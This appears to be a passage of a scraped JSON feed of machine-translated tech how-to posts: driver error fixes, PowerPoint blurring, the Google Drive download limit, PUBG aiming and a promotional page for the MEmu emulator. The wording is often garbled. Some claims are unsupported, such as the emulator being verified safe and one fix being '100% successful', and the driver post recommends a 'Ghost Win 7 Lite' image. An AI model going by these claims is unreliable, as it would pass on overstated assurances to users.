below.\nncG1vNJzZmismaXArq3KnmWcp51ksKK6zqdkq52cmq60scNmqqiepKyus7GMrZ%2BarF2pwrO60maroZ1dmK6usdGaZKKmpKR6onnWnpmcmZ0%3D\n","link":"/post/canon-released-software-that-turns-the-camera-into-a-webcam/","section":"post","tags":null,"title":"Canon released software that turns the camera into a webcam"},{"body":" Free software Version: 7.3.3 Update date: February 9, 2021 Platform: Windows Download MEmu 7.3.3 here.\nWith MEmu 7.3.3, you can enjoy fast gameplay with the highest frame rate possible. It displays astonishing variety of graphic images because of its improved OpenGL and DirectX 3D rendering effects. MEmu offers perfect, convenient mouse and keyboard control, as well as built-in key mapping. On top of that, it can easily run multiple accounts simultaneously, which is effective when used to play on the same game under different circumstances.\n  Is MEmu emulator safe? MEmu is a secure application that takes all security seriously. Ransomware or spyware is something you'll never see in this handy emulator. This program is verified by various anti-virus software companies, even big ones like Avast, Avira, BitDefender.\nYou rarely get false warnings and malicious ad plugins, if any, feel free to refuse during installation. Most of the suggestions that can appear to be trustworthy, so you can be confident that your system won't be compromised in any possible way. If you don't want to encounter those plugins, a cleaner version of the offline installer is also available to you.\nConnecting your Google account to this Android emulator is also completely safe. Application processed by a private technology company unrelated to any authority. Your data will only be stored if necessary to improve the overall user experience. As a result, most confidential information, such as Google passwords, will not be kept by the software or shared with any third parties. In addition, the password of the MEmu account is randomly generated, so your Google account will not be affected.\nBudget friendly emulator and a great alternative In fact, MEmu is the best Android emulator to choose and download. All the basic features that you can find in the premium version of some emulators like Bluestacks can be used for free here. More importantly, it's safe to use and your data is highly secure.\nAdvantages\nSafe to install and use All features are available for free Screen size is customizable Data is highly confidential Defect\nNot a good choice to play with PUBG MEmu MEmu Play ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdorKuwYxwamxlkaOxs7vInWSepaWhrrW70WadqKpdrLavsM6wqg%3D%3D\n","link":"/post/download-memu-7-3-3-android-emulator-for-windows/","section":"post","tags":null,"title":"Download MEmu 7.3.3: Android emulator for Windows"},{"body":"Introduced by Microsoft in October at the Developer Conference, Dropbox for Windows 8 application has recently been officially available on Windows Store and allows users to download and use it.\nAccordingly, Windows 8 and Windows RT users can access the Search Charm bar (by dragging the cursor to the top right corner of the screen - with PCs without touch screens), select Store items and type keywords Search is Dropbox to search and download.\n  Dropbox for Windows 8 allows users to quickly share files, documents, folders . (saved on this service) with friends via the Share Charm bar (1 card on the Charm Bar bar) . While Windows 8 and Windows RT users can already experience Dropbox, Windows Phone 8 users will have to wait a while longer to use the official version of this application.\n  Artwork sharing files from Dropbox on Facebook.\nDropbox is one of the big services that Microsoft has had successful cooperation. In the future, the Redmond giant promises to \"entice\" many more companies to write applications for Windows 8 to increase the number and quality of their app market. According to the latest statistics, the Windows Store has reached about 35,000 applications, however, not all users in all markets around the world can access all of these applications (there are applications only dedicated to a certain market).\nncG1vNJzZmismaXArq3KnmWcp51ksbO7z5umsWWRpb2ttcKaq6KnnmKzsL6MsKCnnJ%2BswG6EjJqlnWWnnrulu9asZKusXaeyrbHArJyd\n","link":"/post/dropbox-application-for-windows-8-and-windows-rt-released/","section":"post","tags":null,"title":"Dropbox application for Windows 8 and Windows RT released"},{"body":"1. Identification of display driver stopped responding error This is a very common mistake in 3d graphics games, in software that requires the use of the power of the video card.\nThe error situation will be divided into 3 main levels, from mild to severe so that you can easily recognize and see if the error you are facing is right or not.\nWhen starting any application or playing a game, this program will freeze / freeze (Force you to close the software). The situation is worse than freezing / freezing (stopping) the whole Windows system, causing us to restart (reset) the computer Finally there is a blue screen of death (BSOD) or a completely black screen.   When you encounter the error \" display driver stopped responding and has recovered \" in addition to the above frozen conditions, the following messages will appear:\nDisplay driver stopped and recovered successfully problem in Windows 7/8/10 How to solve nvidia error display driver stopped working and recovered Display driver stopped responding timed out Display driver has stopped working and has recovered Windows 7/8/10 Display driver stopped responding and has recovered Windows 7/8/10 Why does my graphics card say corrupted or broken Display driver stopped responding windows 10 or 8.1 nvidia   2. Cause of the error display driver stopped responding The main cause of the error \"display driver stopped responding and has recovered\" is usually due to the following 2 reasons:\nThe Timeout Detection and Recovery (TDR) feature detects that the graphics card (GPU) is not responding for a period of time No response from Windows Display Driver Model (WDDM)   Above is the 'theoretical' reason why the computer has this error, so why the graphics card does not respond? Here are some objective reasons to help you quickly fix it yourself.\nDriver is outdated or damaged by virus / hard drive with bad sector. The video card is old, but you have not installed or updated the latest driver to be compatible with your current game or program. Many programs start at the same time Windows leads to crashes and errors. 3. How to fix display driver stopped responding error When your PC or Laptop encounters the error 'Display Driver Stopped Responding and Has Recovered', please follow the following ways to fix the error, and make sure it is 100% successful.\n1. Increase GPU processing time by adjusting the value in the Registry * Note: Using this method will have to interfere and adjust the value of the Registry, this is the computer's database containing information about both important hardware and software, so do it right. Follow the instructions to avoid other undesirable problems from occurring.\nStep 1: Press the key combination Windows + Rto open the Run dialog box.\n-\u0026gt; Enter: regedit\n-\u0026gt; Press Enter to access Registry Editor.\nStep 2: Open the GraphicsDrivers folder in the following path:\n  Step 3: In the space on the right side of the GraphicsDrivers folder , right-click and select New -\u0026gt; Click DWORD (32 bit) or (64 bit) depending on your Windows OS. If you do not know about these two operating systems, please refer to the article on how to check the computer configuration.\n  Step 4: Name this Reg value as TdrDelay -\u0026gt; Press Enter.\n  Step 5: Double-click the newly created Reg value -\u0026gt; enter 8 in the Value data box and click OK to save.\n  Now restart your computer (Reset) to see the results.\nAfter modifying the Registry, if you access the software / play the game and still get the error, delete the Registry and try the methods below.\n2. Update the latest drivers for your computer Driver is always the first thing I install after ghosting or repairing the operating system, it plays an extremely important role in your computer. Essential software to help the operating system communicate with the hardware. Especially the graphic card driver, if this software is problematic or in an outdated version, it will definitely cause a lot of errors for your computer. Download Wandriver to be able to update the driver for your computer quickly and easily.\n3. Optimization of computer speed / memory Memory overload occurs when you open multiple applications, web browsing windows or games at the same time, if the memory is insufficient, it will cause lag, even the program will stop working and error messages.\nUsually computers with 4GB of RAM or more will rarely encounter this problem. If your computer has less than 4GB RAM, you can refer to one of the following ways to solve the problem:\nClean up your computer to speed up Turn off programs that start with Windows After optimizing the computer's memory and still can not fix this error, please use strong measures: Reinstall the computer operating system by Ghost Win 7\nA little trick is to find ghost Win 7 Lite in the article, at this point your computer will run even if only 2 GB of RAM will run smoothly.\n4. Check the video card If you are sure your computer is in great condition: it includes updated Driver to the latest version, the computer has a huge amount of ram, optimized operating system and software . but still happens Display Driver Stopped Responding error, please pay attention to the hardware, specifically here is the video card.\nYou can refer to the article How to test VGA to make a decision whether to replace the video card offline.\n  What if my computer doesn't have a video card? This is a pretty good question, if you don't have a video card you can't blame it. In fact, if your computer does not have a 'removable' video card, it will still own an onboard card, ie the video card integrated in that CPU processor.\nThe processor is quite complex, and apart from the power testing tools, there is almost no way to check for the error of the processor. So what you need to do now is to quickly bring your computer to the emergency room to avoid affecting other hardware devices in the computer.\nGood luck !!!\ndisplay driver ncG1vNJzZmismaXArq3KnmWcp51ks6rEjJ6pq6eiYrGqv8%2BlmLJllKe2t7HRZqqtp6ClsqV50Z6qqaeembavs4yapZ1lmJbAbr7EnKavnaKasQ%3D%3D\n","link":"/post/fix-error-display-driver-stopped-responding-and-has-recovered/","section":"post","tags":null,"title":"Fix error display driver stopped responding and has recovered"},{"body":"If you need to blur all or part of a photo that contains sensitive information, you can do it directly in PowerPoint and this is the way to do it.\nHow to blur the background image in PowerPoint How to insert images below the word on PowerPoint How to create PowePoint color schemes Blurring photos completely First, open PowerPoint and navigate to the slide containing the image you want to blur. Select the image and you will see the Picture Format tab appear.\n  Next, select Artistic Effects from the Adjust group.\n  In the drop-down menu that appears, click on the Blur option.\n  The image will be completely blurred. If the opacity is not as expected, you can adjust it manually. Back to the Artistic Effects drop-down menu, select Artistic Effects Options .\n  From the Format Picture frame appears on the right side of the window. In Artistic Effects, find the bar next to Radius and drag the settings to the right to increase the image blur until satisfied.\n  If you just want to blur a specific part of the image instead of the whole image. Although it is not a simple process, it can still be done with the steps below.\nBlur part of the image According to Office, no blurring tool is specifically designed to blur part of an image. This trick requires the use of other tools.\nFirst, insert a shape on the part of the image you want to blur. You can use one of the default shapes from the Illustrations group on the Insert tab or draw any shape.\nOnce you've finished painting or inserting the image, adjust it to match the part you want to blur.\n  After inserting the shape, go to the Shape Format tab. In the Shape Styles group, select Shape Fill and then select Eyedropper from the drop-down menu.\n  This will allow you to select a part of the image close to the color you want to create. Next, return to the Shape Styles group of the Shape Format tab. Click Shape Effects and then select Soft Edges from the drop-down menu that appears.\n  On the small menu that appears, you will see several different types of edges. Choose the most suitable one. For this example, we use 25 Point.\n  The specific part of the image has been blurred without unnecessary attention.\n  Now, you need to group images and shapes together if you want to adjust it later. To group, hold down Ctrl and click on both objects.\n  Now, in the Picture Format tab, select Group from the Arrange section. In the drop down menu, click on Group .\n   Two objects have been grouped together so you can adjust the background while the blurred shape remains in place.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcqr9uvMeoq6irXZ67brzOsJyrqJ%2Beu7U%3D\n","link":"/post/how-to-blur-photos-in-powerpoint/","section":"post","tags":null,"title":"How to blur photos in PowerPoint"},{"body":"One of the errors when users download files on Google Drive is that the file has exceeded the download limit and users have to return within 24 hours. This error message occurs because too many people download the file via the link on Google Drive at the same time, leading to a limited number of people downloading. So how can I download files on Google Drive in case of being notified of such download limits? Please follow the tutorial below\nThe tips should know with PDF files on Google Drive Don't miss these 9 useful Google Drive tricks! Recover deleted data on Google Drive The error message to download the restricted file will be as shown below.\n  Step 1: At the file download interface on Google Drive, we will click on the Google Drive - Add to My Drive icon in the top right corner. This will put the file into the user's personal Google Drive account.\n  If the message like the image below means we have successfully added the file to the Google Drive account.\n  Step 2: Now you access your personal Google Drive account. We will see the newly added file.\n  You right-click on the file and select Create copy (Make a Copy).\n  Step 3: Soon we have created a copy of that file on Google Drive. You just need to right-click the copy and then click Download (Download).\n  Very simple and easy to implement, right? So with just a few simple steps, you can download files on Google Diver when you report errors that exceed the download limit, without having to wait up to 24 hours as in the notification.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZJ%2BhnJrAbrvNZp6op5ehsm6w0aKtnmWnnbKvedOhnGacn6y7rbvAnWSloZ2ewW610macsZuVmrGmsA%3D%3D\n","link":"/post/how-to-download-files-on-google-drive-when-the-download-limit-is-exceeded/","section":"post","tags":null,"title":"How to download files on Google Drive when the download limit is exceeded"},{"body":"Every time users encounter the error \" Windows Has Stopped This Device Code 43 \" while using a\u0026nbsp; laptop \u0026nbsp;or\u0026nbsp; desktop computer \u0026nbsp;, please refer to the article for more details on how to solve this problem.\nCauses of Windows Has Stopped This Device Code 43 error: Windows Has Stopped This Device Code 43 error usually occurs on peripheral devices connected to the computer such as: Graphics card,\u0026nbsp; USB , keyboard,\u0026nbsp; mouse . This error usually occurs when Windows cannot detect the device. on the computer. The cause of this error is due to a faulty hardware support driver, a damaged driver or an old version of the driver. In some cases it may be due to hardware or software problems of the machine.\nHere are some ways to fix Windows Has Stopped This Device Code 43 error\u0026nbsp; on windows\nWhenever the computer shows an error, we all think of the first solution is to restart the computer. In many cases, just restarting the computer and the problem will be solved. How to do it is very simple, click Start\u0026gt; Select Power\u0026gt; Select Restart.\n  User can check if the device is damaged by plugging it into another computer. If the device is plugged into another machine and the device can still be used normally, it may be due to the device incompatibility with your computer or driver error. If the driver error, the reader refer to the next 3, 4, 5 to know how to fix the driver.\n  Users can try turning the device off and on again to fix the error. To implement this method there are the following steps.\nStep 1: Press the Windows button on the keyboard or the Start button in the left corner of the screen\u0026gt; Type Device Manager\u0026gt; Press Enter.\n​​  Step 2: Assuming the device's Bluetooth is having problems, we will click Bluetooth device\u0026gt; Right-click Intel (R) Wireless Bluetooth (R)\u0026gt; Select Properties.\n  Step 3: In the Drive tab, select Disable Device to turn off the device.\n​  Step 4: Next, at that location, Enable Device will appear, please click on it to turn on the device.\n​​  Sometimes Windows Has Stopped This Device Code 43 error can be caused by the current version of Windows is outdated. Please check to see if Windows has new updates in the following way.\nStep 1: Click Start\u0026gt; Select Settings.\n  Step 2: Select Update \u0026amp; Security.\n  Step 3: Select Windows Update\u0026gt; Select Check for updates to check for updates.\n  This problem can sometimes be caused by the default setting in Windows to power off unused USB ports. To make changes, open Device Manager as described in Part 3.\nStep 1: Select Universal Serial Bus controllers\u0026gt; Right-click USB Root Hub (USB 3.0)\u0026gt; Select Properties.\n​  Step 2: Select the Power Management tab\u0026gt; Uncheck the option Allow the computer to turn off this device to save power\u0026gt; Select OK. Then restart the computer.\n​​  If the driver is too old or outdated, the user has not updated the driver for a long time, they should update as soon as possible. To perform the update, open Device Manager as instructed in Part 3.\nStep 1: Select a device to update, for example we choose to update the Keyboard driver by clicking on Keyboards\u0026gt; Right-click Standard PS / 2 Keyboard\u0026gt; Select Update driver.\n  Step 2: Select Search automatically for drivers.\n  Step 3: Wait for the computer to search and update itself\u0026gt; Select Close to close the window.\n  New driver versions may be faulty or incompatible with your computer and cause Windows Has Stopped This Device Code 43 error. So you should bring the driver back to the previous version, wait a few days and then update Driver to a new version. To make changes, open Device Manager as described in Part 3.\nStep 1: Assuming your mouse has a problem, we'll click Mice and other pointing devices\u0026gt; Right-click HID-compliant mouse\u0026gt; Select Properties.\n  Step 2: Open the Driver tab\u0026gt; Select Roll Back Driver to bring the driver back to the previous version.\n  Bring the driver back to the previous version\nAnother solution to fix the problem is to uninstall and reinstall the driver. To do this, open Device Manager as instructed in Part 3.\nStep 1: Select the device with the driver problem (usually there will be a yellow exclamation mark next to the problematic device)\u0026gt; Right-click on the device\u0026gt; Select Uninstall\u0026gt; Select OK.\n  Uninstall device problem\nStep 2: Once removed, click Action\u0026gt; Select Scan for hardware changes. This will reinstall the device drivers.\n  Scan for hardware changes\nStep 3: To check that the device after being reinstalled works normally, double-click on the device. On the general tab under Device status it says \"This device is working properly.\" then the device problem has been resolved.\n  The error has been corrected and the device is working normally\nThe last solution to fix the problem is to use Troubleshoot feature. To do this, open Update \u0026amp; Security as instructed in part 4.\nStep 1: Select Troubleshooting\u0026gt; Additional troubleshooters.\n  Step 2: Select the device with the problem then follow the instructions on the screen to resolve the error.\n  \u0026nbsp;Above are some methods to fix Windows Has Stopped This Device Code 43 error. Thank you for watching and see you in the following articles.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq4tc2dprCrXZ2utHnSraapqJWZerW0yKxknZ2mnrCmecKom55lZGh6pr7RqKlmp55ixKq6w6iurGVhZQ%3D%3D\n","link":"/post/how-to-fix-windows-has-stopped-this-device-code-43-error-on-windows-10/","section":"post","tags":null,"title":"How to fix Windows Has Stopped This Device Code 43 error on Windows 10"},{"body":"After being updated to the new version, Windows 10 usually welcomes users with the Tips window, introducing new tips for using. This window may be useful for some people, but it also often annoys users.\nIf you are bothered, you can easily turn off the automatic window opening function, as well as some other windows after Windows 10 update, so the experience will be more seamless.\nHow to turn off automatic tip windows after updating Windows 10 First of all, open the Start menu, then click the little gear icon to open the 'Settings' section. You can also quickly open this item with the keyboard shortcut Windows + I.\n  First of all, open the Start menu, then click the little gear icon to open the 'Settings' section.\nUnder 'Settings', select 'System' =\u0026gt; 'Notifications \u0026amp; actions'.\n  Under 'Settings', select 'System'.\n  Click 'Notifications \u0026amp; actions'.\nOn the 'Notifications \u0026amp; actions' screen, uncheck the box corresponding to the option to automatically open the welcome window, write 'Show me the Windows welcome experience after updates and occasionally when I sign in to highlight what's new and suggested'.\nThen you should no longer see the Windows 10 welcome window pop up automatically.\n  On the 'Notifications \u0026amp; actions' screen, uncheck the box corresponding to the automatic selection to open the welcome window.\nFor an even more seamless experience, you can automatically turn on and off the window suggesting how to maximize the operating system, 'Get even more out of Windows', by unchecking' Suggest ways I can finish setting up my device to get the most out of Windows'.\n  For an even more seamless experience, you can automatically turn on and off the window suggesting how to maximize the operating system, 'Get even more out of Windows', by unchecking' Suggest ways I can finish setting up my device to get the most out of Windows'.\nUpdate Windows 10 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZK2glWKutsDOppitoZNivLGxzaKloGWfm3qqutOrpp2tk6m8s8WMsKCnnJ%2BswG6txa2cq2WlpbGiwMinnmavmaOxsMPSZmhp\n","link":"/post/how-to-turn-off-the-automatic-opening-introductory-after-updating-windows-10/","section":"post","tags":null,"title":"How to turn off the automatic opening introductory after updating Windows 10"},{"body":"Apple has released iOS 13 for iPhone. In addition, the company has also launched a new update for Apple Watch: watchOS 6. New features include watch faces as well as new apps and for the first time, a separate independent app store. Previously, to install apps on Apple Watch, you had to download the app first to your iPhone.\nImportant note : The first thing you need to do is upgrade your iPhone to iOS 13. This will give you the latest version of the Watch app. Once you have iOS 13, the steps to get watchOS 6 are similar to manual updates for Apple Watch.\nInstall watchOS 6 on Apple Watch First, make sure the Apple Watch has a battery level of 50% or more and connect it to a charger. Make sure iPhone is also plugged in. Also, keep your iPhone and watch at close range throughout the update process.\nThen launch the Watch app on iPhone and go to My Watch\u0026gt; General\u0026gt; Software Update . You will see watchOS 6 available. Click the Download and Install button.\n  Enter the PIN and agree to the terms of service. Then wait while the installation takes place. This is a fairly large update and the time required will vary, depending on the situation. Therefore, it is best to make sure both the watch and the iPhone are connected to the respective power source.\n  The watch will restart during the update process and you will see a notification on your phone that the software has been updated.\nAll operations are completed! Your watch is currently running the new watchOS 6. In addition to the new watch face, the first thing you want to check out is the App Store for Apple Watch. It has a number of exciting new applications including audiobooks, voice memos and more.\n  If you have problems with an active update, restart your watch and iPhone and verify the watch is connected to the charger. Then follow the same steps again.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2gma61sYyap6mklWLEosDCoWStp12srrWvx6iqZm4%3D\n","link":"/post/how-to-update-apple-watch-to-watchos-6/","section":"post","tags":null,"title":"How to update Apple Watch to watchOS 6"},{"body":"It is not uncommon to miss the target line in PUBG, especially for those new to the mortal shooting arena. For those who move, shooting down these targets will be even more difficult. If you use 2 Kar98, M24 and attach an 8X viewfinder, aiming for a moving target will require a lot of calculations.\nThe fact that being able to aim at the right target when using the above two guns will depend on the distance of the projectile to the target. The following article tells you a few tips to be able to see more accurately with 2 guns Kar98, M24.\nHow to play PUBG Mobile on PC with Tencent emulator How to play PUBG Mobile on PC using Nox App Player Tips to limit blood loss in PUBG Mobile How to aim when using Kar98, M24 The target speed when running is calculated as 6m / s. Using the dots in the center of the viewfinder helps the player calculate the bullet line more easily.\n1. How to shoot Kar98, M24 uses the horizontal bar to shoot\nWhen using the above two guns and combining the 8X viewfinder at a distance of 100m - 500m, focus on the first dot on the viewfinder.\n  Below is the shot of Kar98. If you aim to shoot the Kar98, you will be able to aim at the M24, even if you only deviate a small segment with the first dot on the viewfinder.\n100m or less is the best way to see the exact shot. Watch the horizontal ruler without noticing the vertical ruler. The target must be in the red area for Kar98 and M24 is green.\n  2. How to shoot Kar98, M24 with vertical bars\nIf the distance of 200m - 300m to see accurately, you can only watch with 100m. But if you want to shoot with only one headshot, raise the first dot for 200m and 300 for the next dot from the center.\n  With a distance of 400m , the player gathers both horizontal and vertical bars of the scope. You must align the horizontal viewfinder, estimate the true distance with the third dot of the vertical bar.\n  With a distance of 500m , the player must aim carefully at the horizontal bar, then aim the fourth dot of the vertical bar to raise the center of the gun. With this range, players have to practice many times to successfully shoot.\n  See more:\nHow to fix the jammed error switch gun on PUBG How to fix PUBG Mobile error with gray screen Mistakes in PUBG make you 'slip' Top 1 Wish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BRqbCpecqaqXJwXaJ%2FdXnLqK6eqqNiwamxjKamr6GenHq1rdGgnK1lmaN6scHBoA%3D%3D\n","link":"/post/how-to-watch-kar98-m24-lowers-the-moving-target-in-pubg/","section":"post","tags":null,"title":"How to watch Kar98, M24 lowers the moving target in PUBG"},{"body":"Like Yahoo, Facebook, Skype also has the function of displaying Online mode when logging into account. However, there are many users \"complaining\" that their accounts do not display Online notifications. Please refer to the article below to learn how to fix this error.\nHow to delete chat history on Skype Instructions to retrieve Skype password How to use Skype on the web Step 1 : At the Skype interface, click the Tools menu, select Options . (or press Ctrl +, )\n  Step 2 : When the Skype - Options window appears, go to Privacy \u0026gt;\u0026gt; Privacy settings to reset privacy.\nThen look to the right side of the screen and enter the words Allow my online status to be shown on the web to display the status online on the Web. Finally click Save to save the settings.\n  Conversely, if you want to log in offline, just uncheck the words Allow my online status to be displayed on the web , then click Save .\nWith just 2 simple steps, you can overcome the situation of not showing Online status on Skype. Very interesting, aren't you?\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJ%2BhqGLArMXPnmSdp12jvLV50qGmsGWfo7mqusRmqq2ZpKrA\n","link":"/post/instructions-to-fix-skype-do-not-show-online-status/","section":"post","tags":null,"title":"Instructions to fix Skype do not show online status"},{"body":"The following article introduces you to SKEW function - one of the functions in the statistical function group is very popular in Excel.\n  Description: The function returns the deviation of the distribution - the deviation represents the asymmetry of the distribution around its axis.\n- Negative deviations: The distribution with the asymmetric side extends more to the negative value.\n- Positive deviations: The distribution with the asymmetric side extends more to the positive value.\nSyntax:  SKEW (number1, [number2], .)\nInside:\n- number1, [number2], .) : The values ​​you want to calculate the deviation, where number1 is the required value, the next values ​​are optional and contain up to 255 number parameters .\nAttention:\n- The value of the argument must be a number, name, array or reference containing numbers.\n- Logical values ​​and text number representations when typing directly into the argument list -\u0026gt; still count.\n- Arguments that are text or error values ​​cannot be converted to a numeric type -\u0026gt; cause the function to cause an error .\n- If the argument is a reference array containing text values ​​or logic -\u0026gt; these values ​​are ignored, but the value 0 is still counted.\n- If there are fewer than 3 data points or the standard deviation is 0 -\u0026gt; the function returns the # DIV / 0 error value .\n- The deviation equation is determined by the formula:\n[frac {n} {{left ({n - 1} right) left ({n - 2} right)}} {sum {left ({frac {{{x_i} - bar x}} {s}} right) } ^ 3}]\nFor example:\nCalculate the deviation of the distribution of values ​​in the following data table:\n  - Calculate the deviation of the distribution of number values . In a cell to calculate enter the formula : = SKEW (D6: D10)\n  - Press Enter -\u0026gt; deviation of distribution of number values is:\n  - Calculate the deviation of the distribution of the values ​​of number and 58. In the cell to calculate enter the formula : = SKEW (D6: D10,58)\n  - Press Enter -\u0026gt; deviation of the distribution of the numbers number and 58 are:\n  Above are instructions and some specific examples when using SKEW function in Excel.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kwKyx1madrqaTqbawuoytn55llqq7pMDIqKVmqpWpwrO60maroZ1dmbK3tcCtoKimXaSzbsDHnmSdoaOpv6qu1K2gqKZdnrtusdecnKU%3D\n","link":"/post/skew-function-the-function-returns-the-deviation-of-the-distribution-in-excel/","section":"post","tags":null,"title":"SKEW function - The function returns the deviation of the distribution in Excel"},{"body":"The Nokia 8110 is also known as the 'banana phone' coming back after 20 years, and with the remake it just looks like that.\nNokia 8110 is a famous phone that appeared in the 1999 Matrix (The Matrix). At the time, Nokia was the \"world's leading mobile phone supplier\" and, with the success of the film, This phone is also very expensive.\nIn the old revival, Nokie 3310 debuted at Mobile World Congress last year, which was considered quite successful, and Nokia 8110 of MWC this year is the bridge between popular phone (feature phone) and phone. Smart (smart phone).\n  Nokia 8110 years ago in the Matrix\nAlmost the same, the Nokia 8110 uses Qualcomm 205 1.1GHz processor, a 2.4-inch small screen, 512MB of RAM and a capacity of only 4GB. The device runs KaiOS (a version based on Firefox OS), no touch screen and mouse control with D-pad. T9 keyboard means you will have to press several times to get the letter you want to type.\nAlthough the hardware specifications are minimal, the Nokia 8110 also has a 4G LTE network, Bluetooth 4.1, GPS and a dual SIM version. There is no app store like Android devices but it also has basic applications like Twitter, Facebook .\n  And Nokia 8110 this year at Mobile World Congress 2018\nIf you want to be nostalgic with this phone, don't forget it only has a 2 megapixel camera, the keyboard cover will not be as good as in the movie. But in return, the battery lasts 25 days (idle) with just one charge.\nIt will be available from the first May in Europe for about $ 100 and comes in yellow and black. Besides 8110, Nokia is also preparing to launch a super product for the high-end segment Nokia 8 Sirocoo.\nSee more:\nSuper product Nokia 8 Sirocco, running Android One, the price of iPhone X What does Android learn from Nokia's return? Future high-end Nokia phones may have 5 cameras ncG1vNJzZmismaXArq3KnmWcp51kwamxjJuYp5melnqtscaepZ1lmaN6tbTEZqWoo5mWenl9kGlkppmkp7a5ecKopJ6rXZeupLc%3D\n","link":"/post/the-banana-legend-in-the-nokia-8110-matrix-comes-back/","section":"post","tags":null,"title":"The 'banana' legend in the Nokia 8110 Matrix comes back"},{"body":"Recently, both AMD and NVIDIA have released drivers that support a new feature that appeared in Windows 10 version 2004 (May 2020 Update) called Hardware-accelerated GPU scheduling (HAGS). Specifically, this new feature will delegate management and memory control directly to the GPU instead of the CPU. In theory, this will help the CPU no longer manage the memory of the GPU, thereby increasing performance.\n  Initial tests show that the HAGS feature helps PCs and laptops use Windows 10 May 2020 reduce the percentage of CPU usage rather than increase productivity, play games.\nThe biggest beneficiaries of this new feature will be those who use a gaming laptop, as often the memory in the device will be quite limited. When the HAGS feature is turned on, the CPU will be less used to keep the laptop cooler and will have a smoother fps.\nThe HAGS feature is supported by Nvidia in the GeForce Game Ready driver update, version 451.48, while AMD supports in Adrenalin 2020 Edition 20.5.1 Beta driver on Radeon RX 5600 and 5700 graphics cards.\n  PC Gamer has tested the new HAGS feature with GTA V game on AMD Ryzen Threadripper 2970WX CPU configuration, NVIDIA GeForce RTX 2080 Super GPU, 32GB RAM, to see if it improves gaming performance. The result is yes but not significant, the level of FPS only increases by 2 FPS, sometimes HAGS: OFF also has a higher number of FPS.\nPerhaps due to the high testing configuration of PC Gamer site, or for some reason, the feature of HAGS has not been effective.\nncG1vNJzZmismaXArq3KnmWcp51kxKq6w6iurGVhZXpzfI9tZKGZo2KubrrEsGSfnZGpwrOxjK2fmqxdoq6ssdJmnpqlmaO0br%2FMqKatoJWn\n","link":"/post/windows-10-2004-has-a-new-feature-that-makes-gaming-smoother/","section":"post","tags":null,"title":"Windows 10 2004 has a new feature that makes gaming smoother"},{"body":"1. r / WritingPrompts This is a place for people who are interested in hobby sentences, writing for a meal, working as a left hand job searching for ideas, solving puzzles and making language more fluent. This subreddit also has a ton of inspirational content.\n2. r / tipofmytongue If you want to find a movie, a TV show, or anything else you can't remember by name, visit this subreddit. Just give a few details that you remember, and you will receive enthusiastic support from this subreddit community. Even if you don't get the answers you need, you will get a lot of fun.\n3. r / dataisbeautiful This is a place that provides infographics, tables, visualizatioins and graphs, so you can see things in ways you can hardly imagine.\n  4. r / educationalgifs It's not just the entertaining memes, the animations (GIF) in subreddit educationalgifs were created to help us learn more about something new. Here, in just a few seconds, you will know how much CO2 we are emitting, how the Internet cable is placed on the ocean floor .\n5. r / whatisthisthing Here, you can ask anything you want from household objects to mysterious ships from ancient times.\n  6. r / AskHistorians This subreddit is a place with a ton of information worth reading. It helps you to answer questions about everything in history. Most of the questions are actually answered concisely, helping the questioner quickly grasp information.\n7. r / OutOfTheLoop OutOfTheLoop provides you with all the information and developments on any topic from why the British are excited about a guy named Ben Stokes to the current Fortnite gaming situation. Please go to this subreddit to find an answer if you find it difficult to understand something trending on Twitter.\n8. r / MovieDetails MovieDetails is an endless treasure trove of small details in movies that you would probably never notice if no one gave them away, from fan implications, to the relationship between the movies. .\n  9. r / InternetIsBeautiful You are too bored with the daily scene wandering around with a few websites and social networks, InternetIsBeautiful will help you change that. There is a complete list of entertaining websites here with lots of information, constantly updated and interactive.\n10. r / budgetfood This is one of the cool places related to the topic of cooking. You can learn the recipe of a delicious food, ask for advice on a particular dish or search for delicious dishes for a given occasion.\n11. r / malefashionadvice and r / femalefashionadvice Here are two subreddit that will help you find out the most fashionable and trendy way to dress and match.\n  12. r / fullmovieonyoutube Fullmovieonyoutube contains a list of full-length movies that you can watch on YouTube, and of course completely free. While it's impossible to find the most popular or recently released movies, there are some interesting and great movies that are worth your time.\n13. r / YouShouldKnow YouShouldKnow is home to a lot of tips, useful tips on all topics in life such as how to pack the dishwasher, how to avoid pickpockets . Here, you will definitely ask something new and useful. .\n14. r / personalfinance Just go through the personalfinance subreddit and you'll get a ton of really helpful advice on everything from applying for a mortgage to negotiating a raise from the Reddit community.\n  15. r / houseplants This Subreddi is a place where you will receive tips on caring for plants in the house, and share pictures of plants.\n16. r / explainlikeimfive This famous subreddit is where you give the simplest possible explanations for trivial topics like how Netflix hosts movies, or why holding your breath can stop you .\n  17. r / DIY Do you need help embarking on a new project or needing advice in the process or simply watching the skills of others, go to DIY. This subreddit has every project and these tips are much more useful than searching the web or YouTube.\n18. r / BuyItForLife On BuyItForLife, you'll find tips and tricks to make your stuff last longer.\n19. r / changemyview This is a place where reasonable arguments take place, participants must not offend or humiliate others. The topics of debate are very broad from the value of shoelaces to the direction of economic development .\n20. r / IWantToLearn IWantToLearn is a place to help you learn something like doing magic, writing games . The topic on this subreddit is quite wide, so this is a great source of knowledge for anyone.\n21.r / name-your-phone-your (example: r / galaxys10, or r / pixel3a, or r / iphonexs) This is a phone subreddit, always offering smart tips, camera samples and lots of interesting random information about the phones. If you have any problems with your phone during use, please come up here and ask.\nncG1vNJzZmismaXArq3KnmWcp51kf3J50q6Zq52Umba1edaiq6Flla3Bs7HMnqOyZaWosqfBy2aaqKakmru1ediorGalka56r7vTZqKnp6dixqbA\n","link":"/post/21-subreddit-with-extremely-useful-content-you-may-not-know-yet/","section":"post","tags":null,"title":"21 subreddit with extremely useful content you may not know yet"},{"body":"Windows provides a range of tools on the Control Panel so users can easily customize most settings. Unlike other Windows versions, Windows Server 2012 interface has some new features so when you access applications, installing on Windows Server 2012 will be different than previous Windows versions.\nIn the article below, Network Administrator will show you 6 ways to 